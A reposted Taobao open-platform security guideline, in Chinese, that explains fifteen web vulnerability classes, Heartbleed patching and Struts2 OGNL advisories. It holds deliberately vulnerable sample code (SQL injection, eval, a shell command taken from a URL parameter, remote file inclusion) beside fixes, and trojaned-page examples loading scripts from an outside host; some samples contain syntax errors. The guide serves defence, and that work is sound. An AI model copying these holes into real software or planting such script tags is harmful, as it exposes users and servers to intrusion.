淘宝 第三方应用安全规范

转载地址:http://open.taobao.com/doc/detail.htm?id=813

规范目的

  随着开放平台的开放大趋势,越来越多的ISV通过开放平台,接入到淘宝的电子商务生态圈,为淘宝的会员提供各种应用服务,来满足淘会员的需求。因为是在电子商务这个大环境下,很多应用都直接或间接跟金钱相关,所以第3方开发应用的安全问题,显得更加尤为重要。

  本规范是为了帮助第3方应用,处理安全扫描工具扫描的安全漏洞,提供第3方应软件的安全性

使用范围

  所有通过淘宝开放平台接入的第3方应用

规范详情

    安全漏洞总览       

 

漏洞编号

风险级别

漏洞描述

1

XSS(跨站脚本攻击)

2

CSRF(伪造跨站请求)

3

Sql Injection(SQL注入漏洞)

4

Information Leakage (服务器信息泄露)

5

Management Console Disclosure (管理后台泄露)

6

Trojan(挂马)

7

Improper Error Handling (异常错误处理)

8

Code Injection

9

OS Commanding

10

Path Traversal(目录遍历)

11

Directory Indexing(目录泄露)

12

Unvalidated Redirects and Forwards (跳转)

13

Weak Application (危险程序,如jmx,phpinfo)

14

Remote file inclusion',(远程文件包含)

15

CRLF Injection

存在高危漏洞的应用,调用R2的API和W1、W2的API会报错,错误码  53,"Insufficient security level" 错误信息:high-risk security breach。

存在中危漏洞的应用,调用W2的API,会报错,错误码 53,"Insufficient security level" 错误信息:mid-risk security breach 。

漏洞处理规范

OpenSSL

漏洞描述

4月8日,OpenSSL发布了安全公告,发现1.0.1、1.0.2beta(包括1.0.1f和1.0.2beta1)版本存在【CVE-2014-0160】的高危漏洞,被SSL/TLS加密传输的信息可以被窃取。

修复建议

第一步:
Debian/Ubuntu:
# apt-get update!
# apt-get install openssl libssl1.0.0

CentOS:
# yum update openssl

Aliyun Linux及其他系统请手工将OpenSSL升级至1.0.1g版本

第二步:
修复完毕后,请重启WEB服务,Apache/Nginx/Httpd的重启方式分别如下:
# /etc/init.d/apache2 restart
# /etc/init.d/ngnix restart
# /etc/init.d/httpd restart

此外还需要重启其他与OpenSSL相关的服务。(可通过 lsof | grep libssl | awk '{print $1}'| sort | uniq 查看与OpenSSL库相关的服务)。

XSS(跨站脚本漏洞)

漏洞描述

 

跨站攻击,即Cross Site Script Execution(通常简写为XSS)是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用户造成影响的HTML代码,从而盗取用 户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。

安全隐患,攻击者可利用XSS漏洞获取用户cookie,传播蠕虫,篡改页面或进行钓鱼等

修复建议

 

对参数做html转义过滤(要过滤的字符包括:单引号、双引号、大于号、小于号,&符号),防止脚本执行。在变量输出时进行HTML ENCODE 处理。

PHP应用,可以使用htmlspecialchars对用户参数进行编码

ASP.net应用,可以使用AntiXSS

JAVA应用,可以使用org.apache.commons.lang.StringEscapeUtils提供的Escape函数

修复参考

 

1ASP

问题示例代码:

<%

Dim param

Set param=Request.QueryString("dd")

response.write param

%>

修复范例:

<%

Dim param

Set param=Request.QueryString("dd")

response.write Server.HTMLEnCode(param)

%>

 

2PHP

问题代码示例:

<?php

$aa=$_GET['dd'];

echo $aa."123";

?>

修复范例:

<?php

$aa=$_GET['dd'];

echo htmlspecialchars($aa)."123";

?>

CSRF(伪造跨站请求漏洞)

漏洞描述

         CSRFCross-site request forgery跨站请求伪造,也被称成为“one click attack”或者session riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用

安全隐患

    该漏洞可以在用户登录完成后的会话里,让用户执行不知情的操作。CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......

修复建议

1、在功能请求页面设置csrf token,并在服务端对token进行验证。

2、get请求改为post方式。

 

SQL Injection(SQL注入漏洞)

漏洞描述

         SQL注射是由于程序中对使用到的sql没有做到数据和结构分离导致程序的sql能被恶意用户控制,从而引发的数据库信息泄漏,修改,服务器被入侵等一系列严重后果。

安全隐患

   数据库信息泄露或被修改,还有可能威胁服务器的安全。

修复建议

对程序中使用到的SQL语句,使用变量绑定的方式进行数据和结构的分离。

修复参考

参数化形式构造SQL语句进行查询

1ASP

问题代码示例:

<%

Dim oComm, oRs

Set id=Request.QueryString("d")

Set oConn = Server.CreateObject("ADODB.Connection")

oConn.Open "Provider=MSDAORA;Password=sth;

Persist Security Info=True;User ID=whats;Data Source=mescp"

Set oComm = CreateObject("ADODB.Command")

oComm.ActiveConnection = oConn

Comm.CommandType = 1  

oComm.CommandText = "select * from all_objects where rownum ="& id

Set oRs = oComm.Execute

%>

 

修复范例:

<%

Dim oComm, oRs

Set oConn = Server.CreateObject("ADODB.Connection")

oConn.Open "Provider=MSDAORA;Password=sth;Persist Security Info=True;User ID=whats;Data Source=mescp"

Set oComm = CreateObject("ADODB.Command")

oComm.ActiveConnection = oConn

Comm.CommandType = 1  

oComm.CommandText = "select * from all_objects where rownum = ? "

oComm.Parameters.Append oComm.CreateParameter("v1",3,1,4,100)

Set oRs = oComm.Execute

%>

  

2PHP

问题代码示例:

<?php

$id=$_GET['id'];

$conn = mysql_connect("localhost","root","") or die ("wrong!");

$sel=mysql_select_db("mydb",$conn);

$sql="select * from user where id = ".id

$que=mysql_query($sql,$conn);

?>

 

修复范例:

<?php

$id=$_GET['id'];

$conn = mysql_connect("localhost","root","") or die ("wrong!");

$sel=mysql_select_db("mydb",$conn);

$sql="select * from user where id = :id"

$stmt = $conn->prepare($sql); 

$stmt->execute(array(':id'=>$id)); 

?>

 

3JAVA应用可以使用ibatis

Information Leakage (服务器信息泄露)

安全隐患

可能会泄露一些敏感信息,被攻击者利用。如phpinfo()

修复建议

关闭应用程序不必要的输出,如调试,错误信息的输出。

Management Console Disclosure (管理后台泄露)

漏洞定义

应用的后台系统泄露在外面,任何用户都可以随意访问到。

安全隐患

可能会遭到攻击者的暴力破解或利用bypass漏洞,进入应用后台,进行非法操作。

修复建议

1、 隐藏后台系统入口地址;

2、 对管理后台进行IP访问控制;

Trojan(挂马)

漏洞描述

挂马是恶意攻击者通过各种手段篡改页面,种植恶意代码,最终导致网站用户机器被中木马进而引起用户各种资损并间接导致网站资损的恶性攻击行为。

安全隐患

应用程序已经被攻击者破坏,同时来危及来访的用户电脑安全。

修复建议

检查被挂马页面,去除其中被添加的挂马代码。找出系统存在的安全漏洞,删除恶意代码。

1)被挂马页面示例(iframe):

<html>

<body>

…………

<iframe src=http://www.trojan.com/ms04067.html  width=0 height=0 />

</body>

</html>

修复范例:

删除其中的<iframe src=http://www.trojan.com/ms04067.html  width=0 height=0 />

(注:特征为iframe长宽都为0或者很低)

  

2)被挂马页面示例(script):

<html>

<body>

…………

<script src=http://www.trojan.com/ms04067.js  />

</body>

</html>

修复范例:

删除其中的<script src=http://www.trojan.com/ms04067.js  />

(注:特征为script为外站script或者为非网站所有者所知的script)

Improper Error Handling (异常错误处理)

漏洞描述

程序运行时产生的异常没有处理,导致应用/服务器的状态信息显示在默认的错误页面上。

安全隐患

异常信息的不正确处理,可能会导致一些未知的问题。

修复建议

1、正确处理好程序的异常以及函数调用的返回信息。

 

2、对外使用时,采用统一的错误页面

Code Injection(代码注入)

漏洞描述

代码注入是指由于服务端代码漏洞导致恶意用户输入在服务端被执行的一种高危安全漏洞;

安全隐患

利用该漏洞,可以在服务器上执行攻击者拼装的代码。

修复建议

严格检查控制程序的参数.

修复参考

1ASP

<%

' 期待输入sub.asp

execute request("include")

%>

修复范例:

<%

<!--#include file="sub.asp"-->

%>

 

2PHP:

漏洞代码示例:

<%php

$myvar = "varname";

$x = $_GET['arg'];

eval("\$myvar = \$x;");

%>

修复范例:

<%php

$myvar = "varname";

$x = $_GET['arg'];

$myvar = $x;

%>

3Java:

   

         1. Apache Struts2和webwork存在"ParameterInterceptor"安全绕过漏洞,具体情况如下,请大家关注:

 漏洞发布日期 2012年2月2日
 漏洞描述 Struts2和webwork发布了最新的远程代码执行漏洞。原理是利用ognl执行特性,如下所示:
(ognl表达式1)(ognl表达式2)
以上语句会执行(ognl表达式1)的值。
攻击者利用此特性,轻易绕过原本struts和webwork在ParametersInterceptor类中的防御方案,执行任意ognl代码。
 漏洞检测方法 漏洞检测方法    检查步骤:
1. 用浏览器打开待测试的站点,比如:
http://localhost/webworkdemo/hello1.action
2. 如果这个action中存在属性String foo(注:string类型的任意名称属性,foo只是随便举个例子,一个站点除非没有使用string类型的变量,否则都有漏洞),即可提交:
 
3.  若服务器执行“calc”命令,则表示漏洞存在。
 建议修补方案 修补方案可参考如下方法:
方法1.升级到Struts 2.3.1.2,如果是webwork,可以只升级xwork包,此漏洞其实是xwork的漏洞,影响到了struts和webwork;
方法2.修改xwork源码,参照如下链接修改:
http://svn.apache.org/viewvc?view=revision&revision=1234212;
方法3.修改配置如下:
<interceptor-ref name="params">
<param name="acceptParamNames">\w+((\.\w+)|(\[\d+\])|(\['\w+'\]))*</param>
</interceptor-ref>
方法4.通过hummoc拦截参数名称,只允许用户请求request的参数名匹配正则:
"\\w+((\\.\\w+)|(\\[\\d+\\])|(\\(\\d+\\))|(\\['\\w+'\\])|(\\('\\w+'\\)))*";
参考链接:
http://secunia.com/advisories/47711/

        

          2. struts2和webwork框架自定义result允许OGNL注入,可导致远程代码执行,详情如下:

 漏洞发布日期 2012年3月21日
 受影响的软件及系统 Struts2和webwork(内核Xwork2.1.2及以上所有版本)以及内核Xwork1.0.3版本
 漏洞描述 开发人员使用STRUTS2和WEBWORK框架时,一旦允许用户自定义result页面,攻击者就可以在自定义页面地址中注入OGNL语句,导致执行任意java代码。
在struts.xml文件中出现以下情况会引发漏洞。
漏洞示例1,URL跳转功能:
<action name="redirect" class="com.ali.HackedByKxlzxRedirectAction">
       <result name="redirect" type="redirect">${redirectUrl}</result>
</action>
其中redirectUrl参数是用户自定义的,所以存在漏洞。
漏洞示例2,如下形式的参数自定义:
<action name="delete" class="org.apache.struts2.showcase.action.SkillAction" method="delete">
          <result name="error">/empmanager/editSkill.jsp</result>
          <result type="redirect">edit.action?skillName=${currentSkill.name}</result>
</action>
其中currentSkill.name参数是用户自定义的,所以存在漏洞。
由于此漏洞是Xwork2.1.2版本时新出来的,而Xwork1.0.3的时候也存在另一个类似的漏洞,他们之间还有不少小版本是不受影响的,请仔细看公告。
 漏洞检测方法 漏洞检测方法:
方法1、检查具体xwork版本号,若在影响范围内,则存在漏洞。
方法2、查找struts.xml或webwork.xml文件(包括其引用文件),如果存在”$”符号,则可能存在漏洞。(若xwork版本号不在影响 范围内,但以上提到的文件中存在”$”符号时说明目前没有可以直接利用的漏洞,一旦后续功能中有开发人员写了类似代码,仍然会产生漏洞,建议修补。)
 建议修补方案 修补方法:
Xwork2.1.2以上版本修补方法:
Step1、请查找这个类com.opensymphony.xwork2.util.TextParseUtil 中的函数(此函数多重实现,请找到符合参数类型的那个)
public static Object translateVariables(char[] openChars, String expression, ValueStack stack, Class asType, ParsedValueEvaluator evaluator, int maxLoopCount) {
函数第一行
for (char open : openChars) {
修改为
for (char open : new char[]{'$'}) {
Step2、替换xwork的jar包中的这个文件即可。

Xwork1.0.3版本修补方法:
Step1、将以下文件:
com/opensymphony/xwork/util/TextParseUtil.java
替换为
http://svn.opensymphony.com/svn/xwork/branches/xwork_1-2/src/java/com/opensymphony/xwork/util/TextParseUtil.java
Step2、将“TextParseUtil.java”文件编译成class文件,放于以下目录中WEB-INF\classes\com\opensymphony\xwork\util

注意:此方法仅针对xwork1.0.3的漏洞修补,其他版本不适用,若擅自使用,后果自负。
  

 

          3. struts2和webwork框架CookieInterceptor允许OGNL注入,可导致远程代码执行,详情如下:

 漏洞发布日期 2012年5月14日
 受影响的软件及系统 Struts2核心包 <= 2.3.1
 漏洞描述 如果在struts.xml或xwork.xml中有action节点配置如下:
<param name="cookiesName">*</param>
该配置用于把用户提交来的任意cookie名称存放于cookiemap。当攻击者访问这个action时,如果在cookie名称中放入OGNL表达式,就会导致OGNL远程代码执行漏洞。
 漏洞检测方法 该漏洞可以使用以下两种不同的方式检测,详情如下:
1) 外部检测
攻击者提交如下数据:
GET /Struts2NoValidation/testCookie.action HTTP/1.1
Host: localhost:8080
Cookie: 这里是OGNL表达式=1
2) 源码检测
Xwork版本在攻击范围内的,若struts.xml或xwork.xml中有action节点配置如下:
<param name="cookiesName">*</param>
就会导致OGNL远程代码执行漏洞。
 建议修补方案 修补方案如下,可任选其一:
方案一、升级到Struts 2.3.3 (注意,这次不是升级xwork核 心包,而是直接升级struts),此方案仅适用于struts2。
方案二、参照官方源码在文件CookieInterceptor.java中增加代码,此文件在webwork中也是存在的,只是包名不同,但修补方式一样,webwork可以参照此方案修补。
参考链接:
官方源码如下:
http://svn.apache.org/viewvc/struts/struts2/branches/STRUTS_2_3_X/core/src/main/java/org/apache/struts2/interceptor/CookieInterceptor.java?revision=1222975&view=co
代码修改具体说明如下:
1)    代码中加入了对COOKIE参数名的白名单验证逻辑:acceptedPattern。
2)    需要增加代码的地方:
加入两个字段:
private static final String ACCEPTED_PATTERN = "[a-zA-Z0-9\\.\\]\\[_'\\s]+";
private Pattern acceptedPattern = Pattern.compile(ACCEPTED_PATTERN);
加入一个方法:
public void setAcceptCookieNames(String pattern) {
        acceptedPattern = Pattern.compile(pattern);
    }
在代码:
if (cookiesNameSet.contains("*")) {
之前,加入if逻辑判断,加入后为:
if (acceptedPattern.matcher(name).matches()) {
       if (cookiesNameSet.contains("*")) {
              if (LOG.isDebugEnabled()) {
                     LOG.debug("contains cookie name [*] in configured cookies name set, cookie with name [" + name + "] with value [" + value + "] will be injected");
              }
              populateCookieValueIntoStack(name, value, cookiesMap, stack);
       } else if (cookiesNameSet.contains(cookie.getName())) {
              populateCookieValueIntoStack(name, value, cookiesMap, stack);
       }
} else {
       LOG.warn("Cookie name [" + name + "] does not match accepted cookie names pattern [" + acceptedPattern + "]");
}

OS Commanding Injection

漏洞描述

系统命令执行是指应用程序对传入命令行的参数过滤不严导致恶意用户能控制最终执行的命令,进而入侵系统,导致严重破坏的高危漏洞。

安全隐患

利用这个漏洞攻击着可以执行服务器上的命令。

修复建议

1、严格检查程序参数,特别是 "&", "&&", "|", "||"

 

2、在代码中去除system等直接命令行执行函数或者禁止把外部传入参数传入到该类可执行函数的参数中。

修复参考

1ASP:

漏洞代码示例:

<%

Dim cmd

Set cmd=Request.QueryString("cmd")

response.write server.createobject("wscript.shell").exec("cmd.exe /c "&cmd).stdout.readall

%>

修复范例:

Dim cmd

Set cmd=Request.QueryString("cmd")

if cmd == "dir" then

         response.write server.createobject("wscript.shell").exec("cmd.exe /c "&  "dir").stdout.readall

end if

%>

 

2PHP

漏洞代码示例:

<%php

$myvar = "varname";

$x = $_GET['arg'];

// 默认通过url传入ls -al 进行执行

system($x);

%>

修复建议:

<%php

$myvar = "varname";

$x = $_GET['arg'];

// 默认通过url传入ls -al 进行执行

if($x=='/bin/ls -al'){

    system('/bin/ls -al');

}else{

    return;

 }

%>

Path Traversal(目录遍历)

漏洞描述

目录遍历指的是应用程序对文件路径没有检查导致服务器上的敏感文件/代码泄漏。

安全隐患

可能会导致源代码等敏感信息泄露。

修复建议

严格检查文件路径参数,限制在指定的范围。严格限制文件路径参数,不允许用户控制文件路径相关的参数,限定文件路径范围。

修复参考

1ASP

漏洞代码示例:

<%

Dim FileName

FileName = Request.QueryString("FileName")

Response.Clear

Response.ContentType = "application/octet-stream"

Response.AddHeader "content-disposition", "attachment; filename=" & FileName

Set Stream = server.CreateObject("ADODB.Stream")

Stream.Type = 1

Stream.Open

Stream.LoadFromFile Server.MapPath(FileName)

While Not Stream.EOS

Response.BinaryWrite Stream.Read(1024 * 64)

Wend

Stream.Close

Set Stream = Nothing

Response.Flush

Response.End

%>

修复范例:

<%

Dim FileName

FileId = Request.QueryString("FileId")

FileName = GetFileNameByID(FileId)

Response.Clear

Response.ContentType = "application/octet-stream"

Response.AddHeader "content-disposition", "attachment; filename=" & FileName

Set Stream = server.CreateObject("ADODB.Stream")

Stream.Type = 1

Stream.Open

Stream.LoadFromFile Server.MapPath(FileName)

While Not Stream.EOS

Response.BinaryWrite Stream.Read(1024 * 64)

Wend

Stream.Close

Set Stream = Nothing

Response.Flush

Response.End

%>

 

2PHP

 php.ini中进行如下配置:

open_basedir = 服务器上WEB目录的路径(注,路径最后需要加上斜杠作为结束),如:open_basedir = /var/www/html/

 

Directory Indexing(目录泄露) 

漏洞描述

应用服务器配置不当,导致应用服务器的目录列表被展示。

安全隐患

可能会导致敏感信息或源代码泄露。

修复建议

配置应用服务器禁止目录列表展示。

Unvalidated Redirects and Forwards (跳转)

漏洞描述

某些页面由于功能需要需要进行页面跳转,如果没有对跳转的目的页面做检查就会导致被利用做为恶意URL的访问渠道。

安全隐患

攻击着可以利用这个漏洞进行跳转钓鱼。

修复建议

1、严格检查URL跳转的范围。

2、跳转页面参数中添加redirect_url参数的签名,防止被篡改。

Weak Application (危险程序,如jmx,phpinfo)

漏洞描述

应用服务器配置不当,如存在jbossjmx-console,phpphinfo等。

安全隐患

可能导致服务器被攻击或服务器敏感信息泄露。

修复建议

删除不正确的配置。

Remote file inclusion(远程文件包含)

漏洞描述

远程文件包含是指程序代码在处理包含文件的时候没有严格控制。导致用户可以构造参数包含远程代码在服务器上执行,进而获取到服务器权限,造成网站被恶意删除,用户和交易数据被篡改等一系列恶性后果。

安全隐患

攻击着可以利用该漏洞,在服务器上执行命令。

修复建议

 

配置php.ini关闭远程文件包含功能。

allow_url_include = Off

修复参考

1PHP

漏洞代码示例:

<?php

$path=$_GET['arg'];

include $path.'/filename.php';

?>

修复范例:

<?php

$path='/var/www/html/common.inc';

include $path.'/filename.php';

?>

或者:在php.ini中进行如下配置:

           allow_url_fopen=off

           allow_url_include=off

CRLF Injection

漏洞描述

PHP有一些函数用文件名(如:fopen(), file()等)作为它们的参数。如果在php.iniallow_url_fopen被设置为打开的,这些函数也允许以接受URL来替代接收文件,并且用正确的协议连接到服务器。那么这些函数将很容易遭到 CRLF Injection 攻击。

安全隐患

攻击着可以利用该漏洞在http请求注入恶意代码。

修复建议

1、过滤所有的response headers,除去header中出现的非法字符,尤其是CRLF

2、如果你的脚本不需要访问URLs,建议在php.ini中关闭allow_url_fopen


参考链接

 

1XSS

http://en.wikipedia.org/wiki/Cross-site_scripting

http://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29

 

2CSRF

http://en.wikipedia.org/wiki/Cross-site_request_forgery

http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29

 

3SQL Injection

http://en.wikipedia.org/wiki/SQL_injection

 

4Information Leakage (服务器信息泄露)

https://www.owasp.org/index.php/Information_Leakage

 

5Improper Error Handling (异常错误处理)

https://www.owasp.org/index.php/Improper_error_handling

 

6Code Injection(代码注入)

https://www.owasp.org/index.php/Code_Injection

 

7OS Commanding Injection

https://www.owasp.org/index.php/OS_Command_Injection

 

8Unvalidated Redirects and Forwards (跳转)

https://www.owasp.org/index.php/Open_redirect

 

9Remote file inclusion(远程文件包含)

https://www.owasp.org/index.php/PHP_File_Inclusion

 

 

10CRLF Injection

https://www.owasp.org/index.php/CRLF_Injection


  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值